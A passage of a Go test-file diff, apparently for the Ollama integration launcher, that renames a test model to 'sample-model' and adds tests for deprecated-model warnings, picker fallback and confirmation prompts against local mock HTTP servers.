"qwen3:8b", nil @@ -1782,7 +1889,7 @@ func TestResolveRunModel_ForcePickerAlwaysUsesSelector(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"},{"name":"qwen3:8b"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"},{"name":"qwen3:8b"}]}`) case "/api/show": fmt.Fprint(w, `{"model":"qwen3:8b"}`) default: @@ -2064,7 +2171,7 @@ func TestResolveRunModel_UpgradeCancelledReturnsToModelSelector(t *testing.T) { case 1: return "kimi-k2.6:cloud", nil case 2: - return "llama3.2", nil + return "sample-model", nil default: t.Fatalf("selector called too many times: %d", selectorCalls) return "", nil @@ -2079,7 +2186,7 @@ func TestResolveRunModel_UpgradeCancelledReturnsToModelSelector(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[{"model":"kimi-k2.6:cloud","description":"Coding","context_length":262144,"max_output_tokens":262144,"required_plan":"pro"}]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/status": w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, `{"error":"not found"}`) @@ -2100,8 +2207,8 @@ func TestResolveRunModel_UpgradeCancelledReturnsToModelSelector(t *testing.T) { if err != nil { t.Fatalf("ResolveRunModel returned error: %v", err) } - if model != "llama3.2" { - t.Fatalf("model = %q, want llama3.2", model) + if model != "sample-model" { + t.Fatalf("model = %q, want sample-model", model) } if selectorCalls != 2 { t.Fatalf("selector calls = %d, want 2", selectorCalls) @@ -2168,7 +2275,7 @@ func TestLaunchIntegration_EditorForceConfigure(t *testing.T) { var multiCalled bool DefaultMultiSelector = func(title string, items []SelectionItem, preChecked []string) ([]string, error) { multiCalled = true - return []string{"llama3.2", "qwen3:8b"}, nil + return []string{"sample-model", "qwen3:8b"}, nil } srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -2176,7 +2283,7 @@ func TestLaunchIntegration_EditorForceConfigure(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"},{"name":"qwen3:8b"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"},{"name":"qwen3:8b"}]}`) case "/api/show": var req apiShowRequest _ = json.NewDecoder(r.Body).Decode(&req) @@ -2198,17 +2305,17 @@ func TestLaunchIntegration_EditorForceConfigure(t *testing.T) { if !multiCalled { t.Fatal("expected multi selector to be used for forced editor configure") } - if diff := compareStringSlices(editor.edited, [][]string{{"llama3.2", "qwen3:8b"}}); diff != "" { + if diff := compareStringSlices(editor.edited, [][]string{{"sample-model", "qwen3:8b"}}); diff != "" { t.Fatalf("unexpected edited models (-want +got):\n%s", diff) } - if editor.ranModel != "llama3.2" { + if editor.ranModel != "sample-model" { t.Fatalf("expected launch to use first selected model, got %q", editor.ranModel) } saved, err := config.LoadIntegration("droid") if err != nil { t.Fatalf("failed to reload saved config: %v", err) } - if diff := compareStrings(saved.Models, []string{"llama3.2", "qwen3:8b"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model", "qwen3:8b"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } } @@ -2222,7 +2329,7 @@ func TestLaunchIntegration_ClineRewritesWhenLiveProviderDrifted(t *testing.T) { writeFakeBinary(t, binDir, "cline") t.Setenv("PATH", binDir) - if err := config.SaveIntegration("cline", []string{"llama3.2"}); err != nil { + if err := config.SaveIntegration("cline", []string{"sample-model"}); err != nil { t.Fatalf("failed to seed saved config: %v", err) } @@ -2285,8 +2392,8 @@ func TestLaunchIntegration_ClineRewritesWhenLiveProviderDrifted(t *testing.T) { if settings["provider"] != clineLaunchProvider { t.Fatalf("ollama settings.provider = %v, want %s", settings["provider"], clineLaunchProvider) } - if settings["model"] != "llama3.2" { - t.Fatalf("ollama settings.model = %v, want llama3.2", settings["model"]) + if settings["model"] != "sample-model" { + t.Fatalf("ollama settings.model = %v, want sample-model", settings["model"]) } if settings["baseUrl"] != srv.URL+"/v1" { t.Fatalf("ollama settings.baseUrl = %v, want %s/v1", settings["baseUrl"], srv.URL) @@ -2302,7 +2409,7 @@ func TestLaunchIntegration_EditorForceConfigure_FloatsCheckedModelsInPicker(t *t writeFakeBinary(t, binDir, "droid") t.Setenv("PATH", binDir) - editor := &launcherEditorRunner{models: []string{"llama3.2", "missing-local"}} + editor := &launcherEditorRunner{models: []string{"sample-model", "missing-local"}} withIntegrationOverride(t, "droid", editor) if err := config.SaveIntegration("droid", []string{"qwen3.5:cloud", "qwen3.5"}); err != nil { @@ -2376,7 +2483,7 @@ func TestLaunchIntegration_EditorModelOverridePreservesExtras(t *testing.T) { editor := &launcherEditorRunner{} withIntegrationOverride(t, "droid", editor) - if err := config.SaveIntegration("droid", []string{"llama3.2", "mistral"}); err != nil { + if err := config.SaveIntegration("droid", []string{"sample-model", "mistral"}); err != nil { t.Fatalf("failed to seed config: %v", err) } @@ -2399,7 +2506,7 @@ func TestLaunchIntegration_EditorModelOverridePreservesExtras(t *testing.T) { t.Fatalf("LaunchIntegration returned error: %v", err) } - want := []string{"qwen3:8b", "llama3.2", "mistral"} + want := []string{"qwen3:8b", "sample-model", "mistral"} saved, err := config.LoadIntegration("droid") if err != nil { t.Fatalf("failed to reload saved config: %v", err) @@ -2434,7 +2541,7 @@ func TestLaunchIntegration_EditorCloudDisabledFallsBackToSelector(t *testing.T) var multiCalled bool DefaultMultiSelector = func(title string, items []SelectionItem, preChecked []string) ([]string, error) { multiCalled = true - return []string{"llama3.2"}, nil + return []string{"sample-model"}, nil } srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -2444,9 +2551,9 @@ func TestLaunchIntegration_EditorCloudDisabledFallsBackToSelector(t *testing.T) case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": - fmt.Fprint(w, `{"model":"llama3.2"}`) + fmt.Fprint(w, `{"model":"sample-model"}`) default: http.NotFound(w, r) } @@ -2556,7 +2663,7 @@ func TestLaunchIntegration_EditorConfigureMultiSkipsUnauthedCloudAndPersistsAcce withIntegrationOverride(t, "droid", editor) DefaultMultiSelector = func(title string, items []SelectionItem, preChecked []string) ([]string, error) { - return []string{"llama3.2", "glm-5:cloud"}, nil + return []string{"sample-model", "glm-5:cloud"}, nil } DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) { t.Fatalf("unexpected prompt: %q", prompt) @@ -2571,7 +2678,7 @@ func TestLaunchIntegration_EditorConfigureMultiSkipsUnauthedCloudAndPersistsAcce case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"},{"name":"glm-5:cloud","remote_model":"glm-5"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"},{"name":"glm-5:cloud","remote_model":"glm-5"}]}`) case "/api/status": w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, `{"error":"not found"}`) @@ -2579,8 +2686,8 @@ func TestLaunchIntegration_EditorConfigureMultiSkipsUnauthedCloudAndPersistsAcce var req apiShowRequest _ = json.NewDecoder(r.Body).Decode(&req) switch req.Model { - case "llama3.2": - fmt.Fprint(w, `{"model":"llama3.2"}`) + case "sample-model": + fmt.Fprint(w, `{"model":"sample-model"}`) case "glm-5:cloud": fmt.Fprint(w, `{"remote_model":"glm-5"}`) default: @@ -2606,17 +2713,17 @@ func TestLaunchIntegration_EditorConfigureMultiSkipsUnauthedCloudAndPersistsAcce if launchErr != nil { t.Fatalf("LaunchIntegration returned error: %v", launchErr) } - if editor.ranModel != "llama3.2" { + if editor.ranModel != "sample-model" { t.Fatalf("expected launch to use local primary, got %q", editor.ranModel) } saved, err := config.LoadIntegration("droid") if err != nil { t.Fatalf("failed to reload saved config: %v", err) } - if diff := compareStrings(saved.Models, []string{"llama3.2"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } - if diff := compareStringSlices(editor.edited, [][]string{{"llama3.2"}}); diff != "" { + if diff := compareStringSlices(editor.edited, [][]string{{"sample-model"}}); diff != "" { t.Fatalf("unexpected edited models (-want +got):\n%s", diff) } if !strings.Contains(stderr, "Skipped glm-5:cloud: sign in was cancelled") { @@ -2646,7 +2753,7 @@ func TestLaunchIntegration_EditorConfigureUpgradeCancelledReturnsToModelSelector if diff := compareStrings(preChecked, []string{"kimi-k2.6:cloud"}); diff != "" { t.Fatalf("second selector preChecked (-want +got):\n%s", diff) } - return []string{"llama3.2"}, nil + return []string{"sample-model"}, nil default: t.Fatalf("selector called too many times: %d", selectorCalls) return nil, nil @@ -2668,7 +2775,7 @@ func TestLaunchIntegration_EditorConfigureUpgradeCancelledReturnsToModelSelector case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[{"model":"kimi-k2.6:cloud","description":"Coding","context_length":262144,"max_output_tokens":262144,"required_plan":"pro"}]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/status": w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, `{"error":"not found"}`) @@ -2694,10 +2801,10 @@ func TestLaunchIntegration_EditorConfigureUpgradeCancelledReturnsToModelSelector if selectorCalls != 2 { t.Fatalf("selector calls = %d, want 2", selectorCalls) } - if editor.ranModel != "llama3.2" { + if editor.ranModel != "sample-model" { t.Fatalf("expected launch to use local model, got %q", editor.ranModel) } - if diff := compareStringSlices(editor.edited, [][]string{{"llama3.2"}}); diff != "" { + if diff := compareStringSlices(editor.edited, [][]string{{"sample-model"}}); diff != "" { t.Fatalf("unexpected edited models (-want +got):\n%s", diff) } } @@ -2714,7 +2821,7 @@ func TestLaunchIntegration_EditorConfigureMultiRemovesReselectedFailingModel(t * editor := &launcherEditorRunner{} withIntegrationOverride(t, "droid", editor) - if err := config.SaveIntegration("droid", []string{"glm-5:cloud", "llama3.2"}); err != nil { + if err := config.SaveIntegration("droid", []string{"glm-5:cloud", "sample-model"}); err != nil { t.Fatalf("failed to seed config: %v", err) } DefaultMultiSelector = func(title string, items []SelectionItem, preChecked []string) ([]string, error) { @@ -2733,7 +2840,7 @@ func TestLaunchIntegration_EditorConfigureMultiRemovesReselectedFailingModel(t * case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"glm-5:cloud","remote_model":"glm-5"},{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"glm-5:cloud","remote_model":"glm-5"},{"name":"sample-model"}]}`) case "/api/status": w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, `{"error":"not found"}`) @@ -2744,8 +2851,8 @@ func TestLaunchIntegration_EditorConfigureMultiRemovesReselectedFailingModel(t * fmt.Fprint(w, `{"remote_model":"glm-5"}`) return } - if req.Model == "llama3.2" { - fmt.Fprint(w, `{"model":"llama3.2"}`) + if req.Model == "sample-model" { + fmt.Fprint(w, `{"model":"sample-model"}`) return } http.NotFound(w, r) @@ -2769,17 +2876,17 @@ func TestLaunchIntegration_EditorConfigureMultiRemovesReselectedFailingModel(t * if launchErr != nil { t.Fatalf("LaunchIntegration returned error: %v", launchErr) } - if editor.ranModel != "llama3.2" { + if editor.ranModel != "sample-model" { t.Fatalf("expected launch to use surviving model, got %q", editor.ranModel) } - if diff := compareStringSlices(editor.edited, [][]string{{"llama3.2"}}); diff != "" { + if diff := compareStringSlices(editor.edited, [][]string{{"sample-model"}}); diff != "" { t.Fatalf("unexpected edited models (-want +got):\n%s", diff) } saved, loadErr := config.LoadIntegration("droid") if loadErr != nil { t.Fatalf("failed to reload saved config: %v", loadErr) } - if diff := compareStrings(saved.Models, []string{"llama3.2"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } if !strings.Contains(stderr, "Skipped glm-5:cloud: sign in was cancelled") { @@ -2799,7 +2906,7 @@ func TestLaunchIntegration_EditorConfigureMultiAllFailuresKeepsExistingAndSkipsL editor := &launcherEditorRunner{} withIntegrationOverride(t, "droid", editor) - if err := config.SaveIntegration("droid", []string{"llama3.2"}); err != nil { + if err := config.SaveIntegration("droid", []string{"sample-model"}); err != nil { t.Fatalf("failed to seed config: %v", err) } @@ -2857,7 +2964,7 @@ func TestLaunchIntegration_EditorConfigureMultiAllFailuresKeepsExistingAndSkipsL if err != nil { t.Fatalf("failed to reload saved config: %v", err) } - if diff := compareStrings(saved.Models, []string{"llama3.2"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } if !strings.Contains(stderr, "Skipped missing-local-a:") { @@ -2877,10 +2984,10 @@ func TestLaunchIntegration_ConfiguredEditorLaunchValidatesPrimaryOnly(t *testing writeFakeBinary(t, binDir, "droid") t.Setenv("PATH", binDir) - editor := &launcherEditorRunner{models: []string{"llama3.2", "missing-local"}} + editor := &launcherEditorRunner{models: []string{"sample-model", "missing-local"}} withIntegrationOverride(t, "droid", editor) - if err := config.SaveIntegration("droid", []string{"llama3.2", "missing-local"}); err != nil { + if err := config.SaveIntegration("droid", []string{"sample-model", "missing-local"}); err != nil { t.Fatalf("failed to seed config: %v", err) } @@ -2898,8 +3005,8 @@ func TestLaunchIntegration_ConfiguredEditorLaunchValidatesPrimaryOnly(t *testing var req apiShowRequest _ = json.NewDecoder(r.Body).Decode(&req) switch req.Model { - case "llama3.2": - fmt.Fprint(w, `{"model":"llama3.2"}`) + case "sample-model": + fmt.Fprint(w, `{"model":"sample-model"}`) case "missing-local": missingShowCalled = true w.WriteHeader(http.StatusNotFound) @@ -2917,7 +3024,7 @@ func TestLaunchIntegration_ConfiguredEditorLaunchValidatesPrimaryOnly(t *testing if missingShowCalled { t.Fatal("expected configured launch to validate only the primary model") } - if editor.ranModel != "llama3.2" { + if editor.ranModel != "sample-model" { t.Fatalf("expected launch to use saved primary model, got %q", editor.ranModel) } if len(editor.edited) != 0 { @@ -2928,7 +3035,7 @@ func TestLaunchIntegration_ConfiguredEditorLaunchValidatesPrimaryOnly(t *testing if err != nil { t.Fatalf("failed to reload saved config: %v", err) } - if diff := compareStrings(saved.Models, []string{"llama3.2", "missing-local"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model", "missing-local"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } } @@ -2946,10 +3053,10 @@ func TestLaunchIntegration_ConfiguredEditorLaunchSkipsReconfigure(t *testing.T) if err := os.WriteFile(settingsPath, []byte("{}"), 0o644); err != nil { t.Fatalf("failed to seed editor settings: %v", err) } - editor := &launcherEditorRunner{paths: []string{settingsPath}, models: []string{"llama3.2", "qwen3:8b"}} + editor := &launcherEditorRunner{paths: []string{settingsPath}, models: []string{"sample-model", "qwen3:8b"}} withIntegrationOverride(t, "droid", editor) - if err := config.SaveIntegration("droid", []string{"llama3.2", "qwen3:8b"}); err != nil { + if err := config.SaveIntegration("droid", []string{"sample-model", "qwen3:8b"}); err != nil { t.Fatalf("failed to seed config: %v", err) } @@ -2976,7 +3083,7 @@ func TestLaunchIntegration_ConfiguredEditorLaunchSkipsReconfigure(t *testing.T) if len(editor.edited) != 0 { t.Fatalf("expected normal launch to skip editor rewrites, got %v", editor.edited) } - if editor.ranModel != "llama3.2" { + if editor.ranModel != "sample-model" { t.Fatalf("expected launch to use saved primary model, got %q", editor.ranModel) } @@ -2984,7 +3091,7 @@ func TestLaunchIntegration_ConfiguredEditorLaunchSkipsReconfigure(t *testing.T) if err != nil { t.Fatalf("failed to reload saved config: %v", err) } - if diff := compareStrings(saved.Models, []string{"llama3.2", "qwen3:8b"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model", "qwen3:8b"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } } @@ -3001,7 +3108,7 @@ func TestLaunchIntegration_ConfiguredEditorLaunchRewritesDriftedLiveConfig(t *te editor := &launcherEditorRunner{models: []string{"qwen3:8b"}} withIntegrationOverride(t, "droid", editor) - if err := config.SaveIntegration("droid", []string{"llama3.2", "mistral"}); err != nil { + if err := config.SaveIntegration("droid", []string{"sample-model", "mistral"}); err != nil { t.Fatalf("failed to seed config: %v", err) } @@ -3025,10 +3132,10 @@ func TestLaunchIntegration_ConfiguredEditorLaunchRewritesDriftedLiveConfig(t *te if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "droid"}); err != nil { t.Fatalf("LaunchIntegration returned error: %v", err) } - if diff := cmp.Diff([][]string{{"llama3.2", "mistral"}}, editor.edited); diff != "" { + if diff := cmp.Diff([][]string{{"sample-model", "mistral"}}, editor.edited); diff != "" { t.Fatalf("expected editor config rewrite when live config drifts (-want +got):\n%s", diff) } - if editor.ranModel != "llama3.2" { + if editor.ranModel != "sample-model" { t.Fatalf("expected launch to use saved primary model, got %q", editor.ranModel) } @@ -3036,7 +3143,7 @@ func TestLaunchIntegration_ConfiguredEditorLaunchRewritesDriftedLiveConfig(t *te if err != nil { t.Fatalf("failed to reload saved config: %v", err) } - if diff := compareStrings(saved.Models, []string{"llama3.2", "mistral"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model", "mistral"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } } @@ -3050,10 +3157,10 @@ func TestLaunchIntegration_OpenclawPreservesExistingModelList(t *testing.T) { writeFakeBinary(t, binDir, "openclaw") t.Setenv("PATH", binDir) - editor := &launcherEditorRunner{models: []string{"llama3.2", "mistral"}} + editor := &launcherEditorRunner{models: []string{"sample-model", "mistral"}} withIntegrationOverride(t, "openclaw", editor) - if err := config.SaveIntegration("openclaw", []string{"llama3.2", "mistral"}); err != nil { + if err := config.SaveIntegration("openclaw", []string{"sample-model", "mistral"}); err != nil { t.Fatalf("failed to seed config: %v", err) } @@ -3075,7 +3182,7 @@ func TestLaunchIntegration_OpenclawPreservesExistingModelList(t *testing.T) { if len(editor.edited) != 0 { t.Fatalf("expected launch to preserve the existing OpenClaw config, got rewrites %v", editor.edited) } - if editor.ranModel != "llama3.2" { + if editor.ranModel != "sample-model" { t.Fatalf("expected launch to use first saved model, got %q", editor.ranModel) } @@ -3083,7 +3190,7 @@ func TestLaunchIntegration_OpenclawPreservesExistingModelList(t *testing.T) { if err != nil { t.Fatalf("failed to reload saved config: %v", err) } - if diff := compareStrings(saved.Models, []string{"llama3.2", "mistral"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model", "mistral"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } } @@ -3101,7 +3208,7 @@ func TestLaunchIntegration_OpenclawInstallsBeforeConfigSideEffects(t *testing.T) selectorCalled := false DefaultMultiSelector = func(title string, items []SelectionItem, preChecked []string) ([]string, error) { selectorCalled = true - return []string{"llama3.2"}, nil + return []string{"sample-model"}, nil } err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "openclaw"}) @@ -3135,7 +3242,7 @@ func TestLaunchIntegration_PiInstallsBeforeConfigSideEffects(t *testing.T) { selectorCalled := false DefaultMultiSelector = func(title string, items []SelectionItem, preChecked []string) ([]string, error) { selectorCalled = true - return []string{"llama3.2"}, nil + return []string{"sample-model"}, nil } err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "pi"}) @@ -3166,7 +3273,7 @@ func TestLaunchIntegration_ConfigureOnlyDoesNotRequireInstalledBinary(t *testing withIntegrationOverride(t, "droid", editor) DefaultMultiSelector = func(title string, items []SelectionItem, preChecked []string) ([]string, error) { - return []string{"llama3.2"}, nil + return []string{"sample-model"}, nil } var prompts []string @@ -3183,9 +3290,9 @@ func TestLaunchIntegration_ConfigureOnlyDoesNotRequireInstalledBinary(t *testing case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": - fmt.Fprint(w, `{"model":"llama3.2"}`) + fmt.Fprint(w, `{"model":"sample-model"}`) default: http.NotFound(w, r) } @@ -3200,7 +3307,7 @@ func TestLaunchIntegration_ConfigureOnlyDoesNotRequireInstalledBinary(t *testing }); err != nil { t.Fatalf("LaunchIntegration returned error: %v", err) } - if diff := compareStringSlices(editor.edited, [][]string{{"llama3.2"}}); diff != "" { + if diff := compareStringSlices(editor.edited, [][]string{{"sample-model"}}); diff != "" { t.Fatalf("unexpected edited models (-want +got):\n%s", diff) } if editor.ranModel != "" { @@ -3325,7 +3432,7 @@ func TestLaunchIntegration_ClaudeForceConfigureMissingSelectionDoesNotSave(t *te writeFakeBinary(t, binDir, "claude") t.Setenv("PATH", binDir) - if err := config.SaveIntegration("claude", []string{"llama3.2"}); err != nil { + if err := config.SaveIntegration("claude", []string{"sample-model"}); err != nil { t.Fatalf("failed to seed config: %v", err) } @@ -3345,7 +3452,7 @@ func TestLaunchIntegration_ClaudeForceConfigureMissingSelectionDoesNotSave(t *te case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": var req apiShowRequest _ = json.NewDecoder(r.Body).Decode(&req) @@ -3374,7 +3481,7 @@ func TestLaunchIntegration_ClaudeForceConfigureMissingSelectionDoesNotSave(t *te if loadErr != nil { t.Fatalf("failed to reload saved config: %v", loadErr) } - if diff := compareStrings(saved.Models, []string{"llama3.2"}); diff != "" { + if diff := compareStrings(saved.Models, []string{"sample-model"}); diff != "" { t.Fatalf("unexpected saved models (-want +got):\n%s", diff) } } @@ -3447,6 +3554,260 @@ func TestLaunchIntegration_ClaudeModelOverrideSkipsSelector(t *testing.T) { } } +func TestLaunchIntegration_ModelOverrideDeprecatedPromptsAndDeclineCancels(t *testing.T) { + tmpDir := t.TempDir() + setLaunchTestHome(t, tmpDir) + withLauncherHooks(t) + withInteractiveSession(t, true) + + binDir := t.TempDir() + writeFakeBinary(t, binDir, "droid") + t.Setenv("PATH", binDir) + + runner := &launcherSingleRunner{} + withIntegrationOverride(t, "droid", runner) + + var showCalls atomic.Int32 + var pullCalls atomic.Int32 + var prompt string + var promptOptions ConfirmOptions + DefaultConfirmPrompt = func(p string, options ConfirmOptions) (bool, error) { + prompt = p + promptOptions = options + return false, nil + } + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/api/experimental/model-recommendations": + fmt.Fprint(w, `{"recommendations":[`+ + `{"model":"best-cloud:cloud","description":"Cloud rec","context_length":262144,"max_output_tokens":32768},`+ + `{"model":"best-local","description":"Local rec"}`+ + `]}`) + case "/api/show": + showCalls.Add(1) + fmt.Fprint(w, `{"model_info":{"general.context_length":131072}}`) + case "/api/pull": + pullCalls.Add(1) + fmt.Fprint(w, `{"status":"success"}`) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + t.Setenv("OLLAMA_HOST", srv.URL) + + err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{ + Name: "droid", + ModelOverride: "qwen2.5-coder:32b", + }) + if !errors.Is(err, ErrCancelled) { + t.Fatalf("expected deprecated model override decline to cancel, got %v", err) + } + for _, want := range []string{"qwen2.5-coder:32b does not work well with StubSingle", "best-cloud:cloud", "best-local", "ollama launch droid --model best-cloud:cloud"} { + if !strings.Contains(prompt, want) { + t.Fatalf("prompt %q does not contain %q", prompt, want) + } + } + if promptOptions.YesLabel != "Launch anyway" || promptOptions.NoLabel != "Pick another model" || promptOptions.Default != ConfirmDefaultNo { + t.Fatalf("unexpected deprecation prompt options: %+v", promptOptions) + } + if showCalls.Load() != 0 { + t.Fatalf("deprecated override decline should stop before /api/show, got %d calls", showCalls.Load()) + } + if pullCalls.Load() != 0 { + t.Fatalf("deprecated override decline should stop before /api/pull, got %d calls", pullCalls.Load()) + } + if runner.ranModel != "" { + t.Fatalf("expected integration not to run, got %q", runner.ranModel) + } +} + +func TestLaunchIntegration_SavedDeprecatedDeclineOpensPicker(t *testing.T) { + tmpDir := t.TempDir() + setLaunchTestHome(t, tmpDir) + withLauncherHooks(t) + withInteractiveSession(t, true) + + if err := config.SaveIntegration("droid", []string{"llama3.2"}); err != nil { + t.Fatalf("failed to seed saved config: %v", err) + } + + binDir := t.TempDir() + writeFakeBinary(t, binDir, "droid") + t.Setenv("PATH", binDir) + + runner := &launcherSingleRunner{} + withIntegrationOverride(t, "droid", runner) + + var prompt string + DefaultConfirmPrompt = func(p string, options ConfirmOptions) (bool, error) { + prompt = p + return false, nil + } + + var selectorCalls int + var selectorCurrent string + DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) { + selectorCalls++ + selectorCurrent = current + itemNames := selectionItemNames(items) + if slices.Contains(itemNames, "llama3.2") { + t.Fatalf("expected saved deprecated model to be hidden from picker, got %v", itemNames) + } + if !slices.Contains(itemNames, "best-local") { + t.Fatalf("expected replacement model to remain selectable, got %v", itemNames) + } + return "best-local", nil + } + + var showCalls atomic.Int32 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/api/experimental/model-recommendations": + fmt.Fprint(w, `{"recommendations":[`+ + `{"model":"best-cloud:cloud","description":"Cloud rec","context_length":262144,"max_output_tokens":32768},`+ + `{"model":"best-local","description":"Local rec"}`+ + `]}`) + case "/api/tags": + fmt.Fprint(w, `{"models":[{"name":"llama3.2"},{"name":"best-local"}]}`) + case "/api/show": + showCalls.Add(1) + fmt.Fprint(w, `{"model_info":{"general.context_length":131072}}`) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + t.Setenv("OLLAMA_HOST", srv.URL) + + if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "droid"}); err != nil { + t.Fatalf("LaunchIntegration returned error: %v", err) + } + if !strings.Contains(prompt, "llama3.2 does not work well with StubSingle") { + t.Fatalf("expected saved deprecated model prompt before picker, got %q", prompt) + } + if selectorCalls != 1 { + t.Fatalf("expected picker to open after declining saved deprecated model, got %d calls", selectorCalls) + } + if selectorCurrent != "llama3.2" { + t.Fatalf("expected saved deprecated model as picker current value, got %q", selectorCurrent) + } + if showCalls.Load() != 1 { + t.Fatalf("expected only replacement model readiness to call /api/show, got %d calls", showCalls.Load()) + } + if runner.ranModel != "best-local" { + t.Fatalf("expected integration to run with replacement model, got %q", runner.ranModel) + } + saved, err := config.LoadIntegration("droid") + if err != nil { + t.Fatalf("failed to reload saved config: %v", err) + } + if got := primaryModelFromConfig(saved); got != "best-local" { + t.Fatalf("expected replacement model to be saved, got %q", got) + } +} + +func TestLaunchIntegration_ModelOverrideDeprecatedConfirmRuns(t *testing.T) { + tmpDir := t.TempDir() + setLaunchTestHome(t, tmpDir) + withLauncherHooks(t) + withInteractiveSession(t, true) + + binDir := t.TempDir() + writeFakeBinary(t, binDir, "droid") + t.Setenv("PATH", binDir) + + runner := &launcherSingleRunner{} + withIntegrationOverride(t, "droid", runner) + + DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) { + if !strings.Contains(prompt, "qwen2.5-coder:32b does not work well with StubSingle") { + t.Fatalf("unexpected deprecated model prompt: %q", prompt) + } + return true, nil + } + var showCalls atomic.Int32 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/api/experimental/model-recommendations": + fmt.Fprint(w, `{"recommendations":[`+ + `{"model":"best-cloud:cloud","description":"Cloud rec","context_length":262144,"max_output_tokens":32768},`+ + `{"model":"best-local","description":"Local rec"}`+ + `]}`) + case "/api/show": + showCalls.Add(1) + fmt.Fprint(w, `{"model_info":{"general.context_length":131072}}`) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + t.Setenv("OLLAMA_HOST", srv.URL) + + err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{ + Name: "droid", + ModelOverride: "qwen2.5-coder:32b", + }) + if err != nil { + t.Fatalf("expected deprecated model override confirmation to continue, got %v", err) + } + if showCalls.Load() == 0 { + t.Fatal("expected confirmed deprecated override to continue to /api/show") + } + if runner.ranModel != "qwen2.5-coder:32b" { + t.Fatalf("expected integration to run with confirmed deprecated model, got %q", runner.ranModel) + } +} + +func TestLaunchIntegration_ModelOverrideDeprecatedSuggestsLocalWhenCloudDisabled(t *testing.T) { + tmpDir := t.TempDir() + setLaunchTestHome(t, tmpDir) + withLauncherHooks(t) + withInteractiveSession(t, true) + + binDir := t.TempDir() + writeFakeBinary(t, binDir, "droid") + t.Setenv("PATH", binDir) + + runner := &launcherSingleRunner{} + withIntegrationOverride(t, "droid", runner) + + var prompt string + DefaultConfirmPrompt = func(p string, options ConfirmOptions) (bool, error) { + prompt = p + return false, nil + } + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/api/experimental/model-recommendations": + fmt.Fprint(w, `{"recommendations":[`+ + `{"model":"best-cloud:cloud","description":"Cloud rec","context_length":262144,"max_output_tokens":32768},`+ + 